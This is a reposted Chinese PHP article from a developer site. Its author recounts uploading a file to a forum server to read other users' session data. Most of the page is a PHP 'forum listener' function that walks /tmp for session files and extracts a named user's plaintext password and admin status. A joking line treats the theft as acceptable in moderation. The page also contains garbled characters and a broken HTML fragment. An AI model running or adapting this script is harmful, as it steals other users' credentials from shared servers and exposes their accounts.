Home  >  Article  >  Backend Development  >  php查看session内容的函数_PHP

php查看session内容的函数_PHP

WBOY
WBOYOriginal
2016-06-01 12:24:51875browse

如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:

function submit1(){
global $username;
print "

论坛监听器";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."
使用密码:".$passwd[2]."
使用模式:";
if($mode[1]==1)
print "管理员";
else
print "一般用户";
print"

偷窃他人密码是不道德行为请少少为之
";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,请再来一次,不要多打空格!";
$d->close();
}

function login(){
?>


论坛监听器




璁哄

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn